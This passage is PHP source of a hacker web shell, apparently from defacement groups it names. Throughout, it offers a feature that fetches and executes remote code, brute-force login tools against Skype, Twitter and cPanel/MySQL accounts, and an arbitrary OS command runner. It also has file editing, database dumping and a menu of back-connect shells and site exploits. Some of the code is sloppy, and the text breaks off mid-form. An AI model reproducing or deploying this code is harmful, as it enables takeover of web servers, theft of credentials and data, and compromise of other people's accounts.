<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -    
<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
<a href="?action=cari">Find Directory Writable/Readable</a> -
<a href="?action=zonh">Zone-h Notifier</a> -
<a href="?action=shhhshell">Shtml Command Shell</a> -
<a href="?action=beko">Back connect Simple</a> -
<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
<a href="?action=prlbckacnonect">Perl BackConnect</a> -
<a href="?action=pythnonbakcncete">Python BackConnect</a> -
<a href="?action=exploit">Exploit</a> -
<a href="?action=whmcskillrer">Whcms Killer</a> -
<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
</center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Exploit</span><center>';
?>
<center>
<span style="font-family: Tahoma, Geneva, sans-serif;font-size: 12px; color: #007700;"><br />Get and execute<br /><br /></span>
<form action="" method="get">
<input type="text" name="exp_url" value="http://site.com/exploit"> Type:
<select name="run">
<option>c++ | .cpp</option>
<option>python | .py</option>
<option>perl | .pl</option>
<option>ruby | .rb</option>
</select>
<input type="hidden" name="action" value="exploit">
<input type="submit" value="Start">
</form>
</center>
<?php
}

if(isset($_GET['exp_url'])){
echo '<center>';
if(function_exists("wget")){
wget($_GET['exp_url']);
echo $_GET['exp_url'].' got in here';
if(function_exists("system")){

if(isset($_GET['run'])){
$run = $_GET['run'];
if($run = 'c++ | .cpp'){
system("gcc -o exploit ".$_GET['exp_url'].";chmod +x exploit;./exploit;");
}
if($run = 'perl | .pl'){
}
if($run = 'python | .py'){
}
if($run = 'ruby | .rb'){
}


}


}
else{
echo 'System command disabled';
}
}
else{
echo('wget disabled');
}
echo '</center>';
}
if(isset($_GET['action']) && $_GET['action'] == 'skybru'){
echo '<center><b class="conte">
<a href="?action=skybru">Skype Brute Force</a> -
<a href="?action=cpbru">Cpanel Brute Force</a> -
<a href="?action=jmbru">Joomla Brute Force</a> -
<a href="?action=wpbru">Wordpress Brute Force</a> -
<a href="?action=twbru">Twitter Brute Force</a> -
<a href="?action=ghbru">Gmail & Hotmail Brute Force</a> </center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Skype Brute Force</span><center>';
ob_start();
@set_time_limit(0);
#Skype BruteForce Developped By noname-haxor from AnonGhost Team (Thanks To Mauritania Attacker)
#Idea By : Mauritania Attacker


echo "
<center><img src='http://www14.0zz0.com/2014/07/26/11/926953700.png' width='450' height='95' /></center>
</b>
<br></center>
<p dir='ltr' align='center' box-shadow: 0px 0px 4px #007700;>
<textarea cols='34' class='area' rows='14' name='username'>Target Name</textarea> 
<textarea cols='34' class='area' rows='14' name='password'>Password</textarea><br>
<br>
<input type='submit' value='Start BruteForce'><br></p>";
if($_POST['username'] and $_POST['password']){
	#function
	function brute($user,$pass)
	{
$ch = curl_init();      
curl_setopt($ch, CURLOPT_URL, "https://login.skype.com/login");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "username={$user}&password={$pass}");
curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/34.0.1847.116"); 
		
$login = curl_exec($ch);
if(eregi("message message_error", $login)){

echo "<p align='center' dir='ltr'><font face='Arial Black' size='2'>Not the right one :(  || Username : <font color='red'>$user</font>&nbsp;  Password : <font color='red'>$pass</font></font></p><br><br><br>"; 
}else{
echo "<p align='center' dir='ltr'><font face='Arial Black' size='2'>You Are Lucky Password Found ! || Username: <font color='#b0b000'>$user</font>&nbsp; Password : <font color='#b0b000'>$pass</font></font></p><br><br><br>";
}
}
	
	$username = explode("
", $_POST['username']);
	$password = explode("
", $_POST['password']);
	
	
	foreach($username as $users) {
		$users = @trim($users);
	foreach($password as $pass) {
		$pass = @trim($pass);
		brute($users,$pass); }}
	
	
	}
}



if(isset($_GET['action']) && $_GET['action'] == 'twbru'){
echo '<center><b class="conte">
<a href="?action=skybru">Skype Brute Force</a> -
<a href="?action=cpbru">Cpanel Brute Force</a> -
<a href="?action=jmbru">Joomla Brute Force</a> -
<a href="?action=wpbru">Wordpress Brute Force</a> -
<a href="?action=twbru">Twitter Brute Force</a> -
<a href="?action=ghbru">Gmail & Hotmail Brute Force</a> </center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Twitter Multi-Account BruteForce</span><br>Coded  By Mauritania Attacker</center><br><br>';
echo "<p dir='ltr' align='center'>
<textarea cols='22' class='area' rows='14' name='username'>Username</textarea> 
<textarea cols='22' class='area' rows='14' name='password'>Password</textarea><br><br><input type='submit' value='Attack Now'><br></p><br>";
if($_POST['username'] and $_POST['password']){
	#function
	function brute($user,$pass)
	{
		$ch = curl_init();      
		curl_setopt($ch, CURLOPT_URL, "https://twitter.com/intent/session/");
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_POSTFIELDS, "authenticity_token=&session[username_or_email]={$user}&session[password]={$pass}&remember_me=1");
		curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/34.0.1847.116"); #change with your real useragent plz
		
		# cURL - Brute Users & Password
		$login = curl_exec($ch);
		if(eregi("error notice", $login)){
		 
		
			echo "<p align='center' dir='ltr'><font face='Tahoma' size='2'>[+] : Username : <font color='red'>$user</font>&nbsp; Incorrect Password =====>: <font color='red'>$pass</font></font></p>"; 
		}else{
		echo "<p align='center' dir='ltr'><font face='Tahoma' size='2'>[+] : [+] CRACKED SUCCESSFULLY [+]Username : <font color='green'>$user</font>&nbsp; GOOD PASSWORD =====>: <font color='green'>$pass</font></font></p>";
		}
	}
	# POSTS
	$username = explode("
", $_POST['username']);
	$password = explode("
", $_POST['password']);
	
	# Foreach Users N' Textarea
	foreach($username as $users) {
		$users = @trim($users);
	foreach($password as $pass) {
		$pass = @trim($pass);
		brute($users,$pass); }}
	# cURL
	
	}
	echo "<p align='center' dir='ltr'><font face='Tahoma' size='2'>Coded By : Mauritania Attacker</font></p>";
}
if(isset($_GET['action']) && $_GET['action'] == 'cpbru'){
echo '<center><b class="conte">
<a href="?action=skybru">Skype Brute Force</a> -
<a href="?action=cpbru">Cpanel Brute Force</a> -
<a href="?action=jmbru">Joomla Brute Force</a> -
<a href="?action=wpbru">Wordpress Brute Force</a> -
<a href="?action=twbru">Twitter Brute Force</a> -
<a href="?action=ghbru">Gmail & Hotmail Brute Force</a> </center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Cpanel Brute Force</span></center><br><br>';
function in($type,$name,$size,$value,$checked=0) 
 {
 $ret = "<input type=".$type." name=".$name." "; if($size != 0) 
 {
 $ret .= "size=".$size." "; }
 $ret .= "value=\"".$value."\""; if($checked) $ret .= " checked"; return $ret.">"; }
 
class my_sql 
 {
 var $host = 'localhost'; var $port = ''; var $user = ''; var $pass = ''; var $base = ''; var $db = ''; var $connection; var $res; var $error; var $rows; var $columns; var $num_rows; var $num_fields; var $dump; function connect() 
 {
 switch($this->db) 
 {
 case 'MySQL': if(empty($this->port)) 
 {
 $this->port = '3306'; }
 if(!function_exists('mysql_connect')) return 0; $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass); if(is_resource($this->connection)) return 1; $this->error = @mysql_errno()." : ".@mysql_error(); break; case 'MSSQL': if(empty($this->port)) 
 {
 $this->port = '1433'; }
 if(!function_exists('mssql_connect')) return 0; $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass); if($this->connection) return 1; $this->error = "Can't connect to server"; break; case 'PostgreSQL': if(empty($this->port)) 
 {
 $this->port = '5432'; }
 $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'"; if(!function_exists('pg_connect')) return 0; $this->connection = @pg_connect($str); if(is_resource($this->connection)) return 1; $this->error = @pg_last_error($this->connection); break; case 'Oracle': if(!function_exists('ocilogon')) return 0; $this->connection = @ocilogon($this->user, $this->pass, $this->base); if(is_resource($this->connection)) return 1; $error = @ocierror(); $this->error=$error['message']; break; }
 return 0; }
 function select_db() 
 {
 switch($this->db) 
 {
 case 'MySQL': if(@mysql_select_db($this->base,$this->connection)) return 1; $this->error = @mysql_errno()." : ".@mysql_error(); break; case 'MSSQL': if(@mssql_select_db($this->base,$this->connection)) return 1; $this->error = "Can't select database"; break; case 'PostgreSQL': return 1; break; case 'Oracle': return 1; break; }
 return 0; }
 function query($query) 
 {
 $this->res=$this->error=''; switch($this->db) 
 {
 case 'MySQL': if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection))) 
 {
 $this->error = @mysql_error($this->connection); return 0; }
 else if(is_resource($this->res)) 
 {
 return 1; }
 return 2; break; case 'MSSQL': if(false===($this->res=@mssql_query($query,$this->connection))) 
 {
 $this->error = 'Query error'; return 0; }
 else if(@mssql_num_rows($this->res) > 0) 
 {
 return 1; }
 return 2; break; case 'PostgreSQL': if(false===($this->res=@pg_query($this->connection,$query))) 
 {
 $this->error = @pg_last_error($this->connection); return 0; }
 else if(@pg_num_rows($this->res) > 0) 
 {
 return 1; }
 return 2; break; case 'Oracle': if(false===($this->res=@ociparse($this->connection,$query))) 
 {
 $this->error = 'Query parse error'; }
 else 
 {
 if(@ociexecute($this->res)) 
 {
 if(@ocirowcount($this->res) != 0) return 2; return 1; }
 $error = @ocierror(); $this->error=$error['message']; }
 break; }
 return 0; }
 function get_result() 
 {
 $this->rows=array(); $this->columns=array(); $this->num_rows=$this->num_fields=0; switch($this->db) 
 {
 case 'MySQL': $this->num_rows=@mysql_num_rows($this->res); $this->num_fields=@mysql_num_fields($this->res); while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res))); @mysql_free_result($this->res); if($this->num_rows)
 {
$this->columns = @array_keys($this->rows[0]); return 1;}
 break; case 'MSSQL': $this->num_rows=@mssql_num_rows($this->res); $this->num_fields=@mssql_num_fields($this->res); while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res))); @mssql_free_result($this->res); if($this->num_rows)
 {
$this->columns = @array_keys($this->rows[0]); return 1;}
; break; case 'PostgreSQL': $this->num_rows=@pg_num_rows($this->res); $this->num_fields=@pg_num_fields($this->res); while(false !== ($this->rows[] = @pg_fetch_assoc($this->res))); @pg_free_result($this->res); if($this->num_rows)
 {
$this->columns = @array_keys($this->rows[0]); return 1;}
 break; case 'Oracle': $this->num_fields=@ocinumcols($this->res); while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++; @ocifreestatement($this->res); if($this->num_rows)
 {
$this->columns = @array_keys($this->rows[0]); return 1;}
 break; }
 return 0; }
 function dump($table) 
 {
 if(empty($table)) return 0; $this->dump=array(); $this->dump[0] = '##'; $this->dump[1] = '## --------------------------------------- '; $this->dump[2] = '##  Created: '.date ("d/m/Y H:i:s"); $this->dump[3] = '## Database: '.$this->base; $this->dump[4] = '##    Table: '.$table; $this->dump[5] = '## --------------------------------------- '; switch($this->db) 
 {
 case 'MySQL': $this->dump[0] = '## MySQL dump'; if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0; if(!$this->get_result()) return 0; $this->dump[] = $this->rows[0]['Create Table'].";"; $this->dump[] = '## --------------------------------------- '; if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++) 
 {
 foreach($this->rows[$i] as $k=>$v) 
 {
$this->rows[$i][$k] = @mysql_real_escape_string($v);}
 $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; }
 break; case 'MSSQL': $this->dump[0] = '## MSSQL dump'; if($this->query('SELECT * FROM '.$table)!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++) 
 {
 foreach($this->rows[$i] as $k=>$v) 
 {
$this->rows[$i][$k] = @addslashes($v);}
 $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; }
 break; case 'PostgreSQL': $this->dump[0] = '## PostgreSQL dump'; if($this->query('SELECT * FROM '.$table)!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++) 
 {
 foreach($this->rows[$i] as $k=>$v) 
 {
$this->rows[$i][$k] = @addslashes($v);}
 $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; }
 break; case 'Oracle': $this->dump[0] = '## ORACLE dump'; $this->dump[] = '## under construction'; break; default: return 0; break; }
 return 1; }
 function close() 
 {
 switch($this->db) 
 {
 case 'MySQL': @mysql_close($this->connection); break; case 'MSSQL': @mssql_close($this->connection); break; case 'PostgreSQL': @pg_close($this->connection); break; case 'Oracle': @oci_close($this->connection); break; }
 }
 function affected_rows() 
 {
 switch($this->db) 
 {
 case 'MySQL': return @mysql_affected_rows($this->res); break; case 'MSSQL': return @mssql_affected_rows($this->res); break; case 'PostgreSQL': return @pg_affected_rows($this->res); break; case 'Oracle': return @ocirowcount($this->res); break; default: return 0; break; }
 }
 }
 if(!empty($_POST['cccc']) && $_POST['cccc']=="download_file" && !empty($_POST['d_name'])) 
 {
 if(!$file=@fopen($_POST['d_name'],"r")) 
 {
 err(1,$_POST['d_name']); $_POST['cccc']=""; }
 else 
 {
 @ob_clean(); $filename = @basename($_POST['d_name']); $filedump = @fread($file,@filesize($_POST['d_name'])); fclose($file); $content_encoding=$mime_type=''; compress($filename,$filedump,$_POST['compress']); if (!empty($content_encoding)) 
 {
 header('Content-Encoding: ' . $content_encoding); }
 header("Content-type: ".$mime_type); header("Content-disposition: attachment; filename=\"".$filename."\";"); echo $filedump; exit(); }
 }
 if(isset($_GET['phpinfo'])) 
 {
 echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); }
 if (!empty($_POST['cccc']) && $_POST['cccc']=="db_query") 
 {
 echo $head; $sql = new my_sql(); $sql->db = $_POST['db']; $sql->host = $_POST['db_server']; $sql->port = $_POST['db_port']; $sql->user = $_POST['mysql_l']; $sql->pass = $_POST['mysql_p']; $sql->base = $_POST['mysql_db']; $querys = @explode(';',$_POST['db_query']); echo '<body bgcolor=#e4e0d8>'; if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>".$sql->error."</b></font></div>"; else 
 {
 if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>".$sql->error."</b></font></div>"; else 
 {
 foreach($querys as $num=>$query) 
 {
 if(strlen($query)>5) 
 {
 echo "<font face=Verdana size=-2 color=#777777><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>"; switch($sql->query($query)) 
 {
 case '0': echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>"; break; case '1': if($sql->get_result()) 
 {
 echo "<table width=100%>"; foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES); $keys = @implode("&nbsp;</b></font></td><td bgcolor=#800000><font face=Verdana size=-2><b>&nbsp;", $sql->columns); echo "<tr><td bgcolor=#800000><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; for($i=0;$i<$sql->num_rows;$i++) 
 {
 foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES); $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$sql->rows[$i]); echo '<tr><td><font face=Verdana size=-2>&nbsp;'.$values.'&nbsp;</font></td></tr>'; }
 echo "</table>"; }
 break; case '2': $ar = $sql->affected_rows()?($sql->affected_rows()):('0'); echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>"; break; }
 }
 }
 }
 }
 echo "<br><title>Cpanel Brute Force recoded By Virusa Worm</title><form name=form method=POST>"; 
 echo in('hidden','db',0,$_POST['db']); echo in('hidden','db_server',0,$_POST['db_server']); echo in('hidden','db_port',0,$_POST['db_port']); echo in('hidden','mysql_l',0,$_POST['mysql_l']); echo in('hidden','mysql_p',0,$_POST['mysql_p']); echo in('hidden','mysql_db',0,$_POST['mysql_db']); echo in('hidden','cccc',0,'db_query'); 
 echo "<div align=center>"; echo "<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>"; echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;
SELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>"; echo "</form>"; echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); }


function ccmmdd($ccmmdd2,$att)
{
global $ccmmdd2,$att;
echo '
<table style="width: 100%" class="style1" dir="rtl">
	<tr>
		<td class="style9"></td>
	</tr>
	<tr>
		<td class="style13">
				<form method="post">
					<select name="att" dir="rtl" style="height: 109px" size="6">
';
if($_POST['att']==null)
{
echo '						<option value="system" selected="">system</option>';
}else{
echo "						<option value='$_POST[att]' selected=''>$_POST[att]</option>
						<option value=system>system</option>
";

						
}

echo '
						<option value="passthru">passthru</option>
						<option value="exec">exec</option>
						<option value="shell_exec">shell_exec</option>	
					</select>
						<input name="page" value="ccmmdd" type="hidden"><br>
						<input dir="ltr" name="ccmmdd2" style="width: 173px" type="text" value="';if(!$_POST['ccmmdd2']){echo 'dir';}else{echo $_POST['ccmmdd2'];}echo '"><br>
						<input type="submit" value="Y?">
				</form>
		
		</td>
	</tr>
	<tr>
		<td class="style13">
';

		if($_POST[att]=='system')
		{
echo '
					<textarea dir="ltr" name="TextArea1" style="width: 745px; height: 204px">';
					system($_POST['ccmmdd2']);
echo '					</textarea>';


		}

		if($_POST[att]=='passthru')
		{
echo '
					<textarea dir="ltr" name="TextArea1" style="width: 745px; height: 204px">';
					passthru($_POST['ccmmdd2']);
echo '					</textarea>';


		}

		



		if($_POST[att]=='exec')
		{

echo '					<textarea dir="ltr" name="TextArea1" style="width: 745px; height: 204px">';
					exec($_POST['ccmmdd2'],$res);
				echo $res = join("
",$res); 				
echo '					</textarea>';


		}







		if($_POST[att]=='shell_exec')
		{

echo '					<textarea dir="ltr" name="TextArea1" style="width: 745px; height: 204px">';
				echo	shell_exec($_POST['ccmmdd2']);
echo '					</textarea>';


		}
echo '		
		</td>
	</tr>
</table>
';

exit;
}

if($_POST['page']=='edit')
{

$code=@str_replace("
","
",$_POST['code']);
$code=@str_replace('\','',$code);
$fp = fopen($pathclass, 'w');
fwrite($fp,"$code");
fclose($fp);
echo "<center><b>OK Edit<br><br><br><br><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}	

	if($_POST['page']=='show')
	{
	$pathclass =$_POST['pathclass'];
echo '
<form method="POST">
<input type="hidden" name="page" value="edit">
';
	
	$sahacker = fopen($pathclass, "rb");
echo '<center>'.$pathclass.'<br><textarea dir="ltr" name="code" style="width: 845px; height: 404px">';	
$code = fread($sahacker, filesize($pathclass));
echo $code =htmlspecialchars($code);
echo '</textarea>';	
	fclose($sahacker);
echo '
<br><input type="text" name="pathclass" value="'.$pathclass.'" style="width: 445px;">
<br><strong><input type="submit" value="edit file">
</form>
';
		exit;
	}




	if($_POST['page']=='ccmmdd')
	{
	echo ccmmdd($ccmmdd2,$att);
	exit;
	}

if($_POST['page']=='find')
{
if(isset($_POST['usernames']) && isset($_POST['passwords']))
{
    if($_POST['type'] == 'passwd'){
        $e = explode("
",$_POST['usernames']);
        foreach($e as $value){
        $k = explode(":",$value);
        $username .= $k['0']." ";
        }
    }elseif($_POST['type'] == 'simple'){
        $username = str_replace("
",' ',$_POST['usernames']);
    }
    $a1 = explode(" ",$username);
    $a2 = explode("
",$_POST['passwords']);
    $id2 = count($a2);
    $ok = 0;
    foreach($a1 as $user )
    {
        if($user !== '')
        {
        $user=trim($user);
         for($i=0;$i<=$id2;$i++)
         {
            $pass = trim($a2[$i]);
            if(@mysql_connect('localhost',$user,$pass))
            {
                echo "Virusa Worm~ user is (<b><font face='Tahoma' color='#007700' size='2pt'>$user</font></b>) Password is (<b><font face='Tahoma' color='#007700' size='2pt'>$pass</font></b>)<br />";
                $ok++;
            }
         }
        }
    }
    echo "<center><font face='Tahoma' color='#009900' size='2pt'>You Found</font> <b><font face='Tahoma' color='#00ff00' size='2pt'>$ok</font></b> <font face='Tahoma' color='#009900' size='2pt'>Cpanel by Virusa Worm</font></center><br>";
    echo "<center><b><a href=".$_SERVER['PHP_SELF']."><font face='Tahoma' color='#007700' size='2pt'>BACK</font></a>";
    exit;
}
}
echo '<center>
<form method="POST" target="_blank">
<input name="page" type="hidden" value="find">
<table width="600" border="0" cellpadding="3" cellspacing="1" align="center">
<tr>
<td>
<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<td valign="top" bgcolor="transparent" class="style2" style="width: 139px">
<font face="Tahoma" color="#007700" size="2pt">User :</font></td>
<td valign="top" bgcolor="transparent" colspan="5"><font face="Tahoma" color="#007700" size="2pt"><textarea class="area" cols="90" class ="inputz" rows="7" name="usernames"></textarea></td>
</tr>
<tr>
<td valign="top" bgcolor="transparent" class="style2" style="width: 139px">
<font face="Tahoma" color="#007700" size="2pt">Pass :</font></td>
<td valign="top" bgcolor="transparent" colspan="5"><font face="Tahoma" color="#007700" size="2pt"><textarea class="area" cols="90" class ="inputz" rows="7" name="passwords"></textarea></font></td>
</tr>
<tr>
<td valign="top" bgcolor="transparent" class="style2" style="width: 139px">
<font face="Tahoma" color="#007700" size="2pt">Type :</font></td>
<td valign="top" bgcolor="transparent" colspan="5">
<span class="style2"><font face="Tahoma" color="#007700" size="2pt">Simple : </font> </span>
<input type="radio" name="type" value="simple" checked="checked" class="style3">
<font class="style2"><font face="Tahoma" color="#007700" size="2pt">/etc/passwd : </font> </font>
<input type="radio" name="type" value="passwd" class="style3"><span class="style3">
</span>
</td>
</tr>
<tr>
<td valign="top" bgcolor="transparent" style="width: 139px"></td>
<td valign="top" bgcolor="transparent"  colspan="5"><input class ="inputzbut" type="submit" value="start">
</tr>
</td>
<tr>
</form>    
<td valign="top" colspan="6"></td>
<form method="POST" target="_blank">
<input type="hidden" name="go" value="cmd_mysql">
<tr>
<td valign="top" bgcolor="transparent" class="style1" colspan="6"><font face="Tahoma" color="#007700" size="2pt"><br><b>CMD MYSQL</b></font></td>
</tr>
<tr>
<td valign="top" bgcolor="transparent" style="width: 139px"><font face="Tahoma" color="#007700" size="2pt">user</font></td>
<td valign="top" bgcolor="transparent"><font face="Tahoma" color="#007700" size="2pt"><input name="mysql_l" type="text"></font></td>
<td valign="top" bgcolor="transparent"><font face="Tahoma" color="#007700" size="2pt">pass</font></td>
<td valign="top" bgcolor="transparent"><font face="Tahoma" color="#007700" size="2pt"><input name="mysql_p" type="text"></font></td>
<td valign="top" bgcolor="transparent"><font face="Tahoma" color="#007700" size="2pt">database</font></td>
<td valign="top" bgcolor="transparent"><font face="Tahoma" color="#007700" size="2pt"><input name="mysql_db" type="text"></font></td>
</tr>
<tr>
<td valign="top" bgcolor="transparent" style="height: 25px; width: 139px;">
<font face="Tahoma" color="#007700" size="2pt">cmd ~</font></td>
<td valign="top" bgcolor="transparent" colspan="5" style="height: 25px">
<font face="Tahoma" color="#007700" size="2pt">
<br><textarea class="area" name="db_query" cols="90" rows="5">SHOW DATABASES;
SHOW TABLES user_vb ;
SELECT * FROM user;
SELECT version();
SELECT user();</textarea></font></td>
    	</tr>
		<tr>
    <td valign="top" bgcolor="transparent" style="width: 139px"><strong></strong></td>
    <td valign="top" bgcolor="transparent" colspan="5"><strong><input type="submit" value="run"></strong></td>
    	</tr>
<input name="db" value="MySQL" type="hidden">
<input name="db_server" type="hidden" value="localhost">
<input name="db_port" type="hidden" value="3306">
<input name="cccc" type="hidden" value="db_query">
    	
</form>    	
		<tr>
    <td valign="top" bgcolor="transparent" colspan="6"><strong></strong></td>


		</tr>
		
<form method="POST" target="_blank">
		<tr>
    <td valign="top" bgcolor="transparent" class="style1" colspan="6"><font face="Tahoma" color="#007700" size="2pt"><br><b>CMD 
	system - passthru - exec - shell_exec</b></font></td>
    				</tr>
		<tr>
    <td valign="top" bgcolor="transparent" style="width: 139px"><font face="Tahoma" color="#007700" size="2pt">cmd ~</font></td>
    <td valign="top" bgcolor="transparent" colspan="5">
					<select name="att" dir="rtl"  size="1"></center>
';
if($_POST['att']==null)
{
echo '						<option value="system" selected="">system</option>';
}else{
echo "						<option value='$_POST[att]' selected=''>$_POST[att]</option>
						<option value=system>system</option>
";

						
}
echo '<option value="passthru">passthru</option>
						<option value="exec">exec</option>
						<option value="shell_exec">shell_exec</option>
					</select>    

<input name="page" type="hidden" value="ccmmdd">    
	<input name="ccmmdd2" type="text" style="width: 284px" value="ls -la"></td>
    	</tr>
		<tr>
    <td valign="top" bgcolor="transparent" style="width: 139px"></td>
    <td valign="top" bgcolor="transparent" colspan="5"><input type="submit" value="go"></td>
    	</tr>
</form>    	    	

<form method="POST" target="_blank">

		<tr>
    <td valign="top" bgcolor="transparent" class="style1" colspan="6"><font face="Tahoma" color="#007700" size="2pt"><br><b>Show 
	File And Edit</b></font></td>
    				</tr>
		<tr>
    <td valign="top" bgcolor="transparent" style="width: 139px"><font face="Tahoma" color="#007700" size="2pt">Path ~</font></td>
    <td valign="top" bgcolor="transparent" colspan="5">
	
	<input name="pathclass" type="text" style="width: 284px" value="/home/path/"></td>
    	</tr>
		<tr>
    <td valign="top" bgcolor="transparent" style="width: 139px"></td>
    <td valign="top" bgcolor="transparent" colspan="5"><input type="submit" value="show"></td>
    				</tr>
<input name="page" type="hidden" value="show">        				
</form>    				
					<tr>
    <td valign="top" bgcolor="transparent" class="style1" colspan="6"><font face="Tahoma" color="#007700" size="2pt"><br><b>Info 
	Security</b></font></td>
    				</tr>
    	<tr>
    <td valign="top" bgcolor="transparent" style="width: 139px"><font face="Tahoma" color="#007700" size="2pt">Safe Mode</font></td>
    <td valign="top" bgcolor="transparent" colspan="5">
	<font face="Tahoma" color="#007700" size="2pt">';
	$safe_mode = ini_get('safe_mode');
if($safe_mode=='1')
{
echo '<b><font face="Tahoma" color="#ff0000" size="2pt">ON</font></b>';
}else{
echo '<b><font face="Tahoma" color="#b0b000" size="2pt">OFF</font></b>';
}
echo '</font>	
	</td>
    				</tr>
    <tr>
    <td valign="top" bgcolor="transparent" style="width: 139px"><font face="Tahoma" color="#007700" size="2pt">Function</font></td>
    <td valign="top" bgcolor="transparent" colspan="5">
	';
	if(''==($func=@ini_get('disable_functions')))
{
echo "<b><font face='Tahoma' color='#b0b000' size='2pt'>&nbsp;No Security for Function</font></b>";
}else{
echo '<script>alert("Please see below and press >Please Click Here First!");</script>';
        echo '<b><font face="Tahoma" color="#ff0000" size="2pt">$func</font></b>';
        echo '<tr><td valign="top" bgcolor="#151515" style="width: 139px"></td>';
        echo '<td valign="top" bgcolor="#151515" colspan="5"><input type="submit" value="Please Click Here First!">
    
    </td></tr>';
	
    }
	echo '
    <tr>
    <td valign="top" bgcolor="transparent" style="width: 139px"></td>
    <td valign="top" bgcolor="transparent" colspan="5"></td>
    </table>
    </td>
    </tr>
    </table>
	<meta http-equiv="content-type" content="text/html; charset=UTF-8"></head><body></body></html>
<form style="border: 0px ridge #FFFFFF">
    <p align="center"></td>
  </tr><div align="center">
                <tr>
<input type="submit"   name="user" value="Generate User"><option value="name"></select>
</form>
<div align="center">
 <table border="0" width="10%" bordercolorlight="#007700" bordercolordark="#007700" height="100" cellspacing="5">
<tr>
<td bordercolorlight="#007700" bordercolordark="#007700">
<p align="left">
<textarea  class="area" method="POST" rows="10" name="S1" cols="96">';
if ($_GET['user'] )


      system('ls /var/mail');





                                           for($uid=0;$uid<90000;$uid++){

                                        }
										
echo '</textarea>';
}
if(isset($_GET['action']) && $_GET['action'] == 'jmbru'){
echo '<center><b class="conte">
<a href="?action=skybru">Skype Brute Force</a> -
<a href="?action=cpbru">Cpanel Brute Force</a> -
<a href="?action=jmbru">Joomla Brute Force</a> -
<a href="?action=wpbru">Wordpress Brute Force</a> -
<a href="?action=twbru">Twitter Brute Force</a> -
<a href="?action=ghbru">Gmail & Hotmail Brute Force</a> </center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Joomla Brute Force</span></center><br>';
echo '<font face="Tahoma" color="#007700" size="2pt"><form action="?y=<?php echo $pwd; ?>&amp;x=jbrute" method="post">

<center>
<form method="post" action="" enctype="multipart/form-data"> 
<table class="tabnet" width="38%" border="0">
<tr><td><p ><font face="Tahoma" color="#007700" size="2pt">User :</font></th>
<input class="area" type="text" name="usr" value="admin" size="15"> </center><br /><br /></p>
</td></tr>
<tr><td><font face="Tahoma" color="#007700" size="2pt">Sites list :</font> 
</td><td><font face="Tahoma" color="#007700" size="2pt">Pass list :</font></td></tr>
<tr>
		<td><font face="Tahoma" color="#007700" size="2pt">
<textarea class="area" name="sites" style="background:transparent;" cols="40" rows="13" ></textarea>
</td><td>
<textarea class="area" name="w0rds" style="background:transparent;" cols="40" rows="13" >';
